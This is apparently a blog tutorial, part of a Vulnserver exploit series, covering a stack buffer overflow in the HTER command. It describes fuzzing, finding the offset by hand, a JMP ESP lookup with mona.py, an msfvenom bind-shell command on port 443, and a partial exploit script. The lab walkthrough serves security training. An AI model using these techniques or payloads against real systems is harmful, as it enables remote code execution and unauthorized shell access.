Vulnserver — Part 5 (HTER — EIP Overwrite)
This will be the 5th
vulnserver exploit series. We will be fuzzing and exploiting the vulnerable command
HTER this time. We will identify a crash point with an
EIP overwrite. And then we need to identify the restricted characters to the
HTER command exploit. Then, we will leverage an old-fashion of manual approach to identify the offset. Finally, we will introduce our shellcode to finally get a bind shell. Let’s get started!
- OS: Windows 7 (x86)
- Debugger: OllyDbg, WinDbg (mona.py)
- Fuzzer: boofuzz
- Target: Vulnserver —
HTERcommand (EIP Overwrite + Restricted Characters)
*Detailed lab setup guide can be found here
- “[ExpDev] Vulnserver — Part 1.”
Let’s quickly check what the
HTER command does.
Since we have the previously created fuzzing script from the Part 1, we can just make small changes in that script for our fuzzer for the
As usual, let’s attach the
vulnserver with the OllyDbg. Then, run our fuzzer.
### Running the Fuzzer
A few seconds after running our fuzzing script, the
vulnserver was crashed. From the crash in OllyDbg, we can clearly see that the
HTER command and the certain number of the characters caused the crash.
Again, in order to identify how many characters caused the initial crash, we need to analyze the results from the Boofuzz. After counting the approximate characters of “C”
\x43 in the OllyDbg at the crash time and looking at the “DB Browser” we can choose 2053 bytes for the initial crash.
Initial Crash PoC
Let’s create a python script to reproduce the crash.
vulnserver and attach it to OllyDbg. Then, run the
crash_hter.py script. We successfully reproduced the crash with our PoC script.
One interesting to note here is that the character “A” (
\x41) that we sent was still displayed as “AAAAAAAA” on the stack instead of “41414141.” This might indicate that the HTER command does something different for how it accepts characters.
Our next step is to typically find an offset to control the
EIP at the crash time. Let’s first create 2053 unique characters. We will use the WinDbg and mona.py’s
pattern_create module to do this.
Once running the WinDbg, type the following command to load the python module and create the patterns.
### Loading Python Extension of WinDbg
.load pykd.pyd### Mona.py Pattern_create
!py mona pattern_create 2053Creating cyclic pattern of 2053 bytes
[+] Preparing output file 'pattern.txt'
Let’s update our PoC script with the created patterns and run the script against the
However, we don’t get a crash this time. Looks like we have some restricted/bad characters within the pattern created. We need to dig-in to identify which characters are restricted.
Checking for Bad/Restricted Characters
I did some trial-and-error based analysis on what characters are allowed to the
HTER command. And here are things I have identified:
- After the “
HTER” command, it will strip the command as well as the next 1 byte of the character. For example, If I send “
HTER 12345,” we will only see “
- It also only accepts hexdecimal (=
0123456789abcdef). So for example, if we are trying to crash the application via sending 2053 of “G”s, it wouldn’t work. That was why the characters created by
pattern_createdidn’t work earlier.
From our analysis on the restricted characters, the
pattern_create wouldn’t be useful in order to find the offset value. Unfortunately, we might need to use an old-fashion of manual approach to find the offset.
Let’s update our PoC script for the manual approach of identifying the offset.
EIP is overwritten by “B”s, meaning our offset will reside somewhere in after the 1026 character set. Let’s continue on our process.
EIP is now overwritten by “C”s, meaning our offset will reside somewhere in after the 1539 character set. Let’s continue on our process.
EIP is now overwritten by “C”s, meaning our offset will reside somewhere in after the 1795 character set. Let’s continue on our process.
EIP is again overwritten by “C”s, meaning our offset will reside somewhere in after the 1923 character set. Let’s continue on our process.
EIP is again overwritten by “C”s, meaning our offset will reside somewhere in after the 1987 character set. Let’s continue on our process.
EIP is again overwritten by “C”s, meaning our offset will reside somewhere in after the 2019 character set. Let’s continue on our process.
EIP is again overwritten by “C”s, meaning our offset will reside somewhere in after the 2035 character set. Let’s continue on our process.
We now have some feasible results to identify the offset. The
EIP is now overwritten by “
BBBCCCCC.” If we do a simple calculation to subtract 3 “B”s from 8 and add 6 to 2035, we can find the offset as 2040. Let’s update our PoC script and confirm the found offset value.
Confirming the Offset
The offset was indeed correct. Now, we are all set to control the
EIP at the crash time.
As an usual
EIP overwrite BOF exploit, we now need to find a
JMP ESP instruction within the application.
Let’s attach the vulnserver to WinDbg this time so that we can use the mona.py to find the
JMP ESP within the application’s dll. We will use
-cpb flag again to exclude any addresses containing
\x00. (By default, it also searches in Non-ASLR or Non-Rebase modules.)
### Loading Python Extension of WinDbg
.load pykd.pyd### Mona.py Finding JMP ESP
!py mona jmp -r esp -cpb '\x00'
Let’s use one of the addresses,
0x62501205 for the
JMP ESP address.
Msfvenom Bind Shell
Now let’s use
msfvenom to create our bind shell shellcode. But now instead of using the python format, let’s change it to hex format.
### msfvenom Bind Shell
$ msfvenom -p windows/shell_bind_tcp LPORT=443 -b '\x00' EXITFUNC=thread -f hex(*I used a x86 Kali Linux to create the shellcode)[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355Payload size: 355 bytes
Final size of hex file: 710 bytes
And let’s finalize our PoC script with the created payload. Also, add some Nopsled (
\x90) before the payload so that our shellcode can be added to the stack properly.
### Final_hter.py (Source by bigb0ss)import socket
import sysvuln_command = "HTER A"
crash = 2052
offset = 2040
eip = "05125062" # JMP ESP 0x62501205shellcode = (
"af2fce87fa")payload = ""
payload += vuln_command
payload += "A" * offset
payload += eip
payload += "90" * 10
payload += shellcode
payload += "C" * 10print "[+] Sending buffer (Size: %d)" % len(payload)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Once we run the
final_hter.py script, we can successfully open up the bind shell on the port 443.
For the recap:
- We fuzzed the vulnserver
- Found the entry point with vulnerable command of
- Found the restricted characters (Only hexdecimal allowed)
- Found the offset to control over
EIPoverwrite with manual approach
- Found the
- Introduced hex format of the bind shellcode
Hope you also learned something from it. Thanks for reading!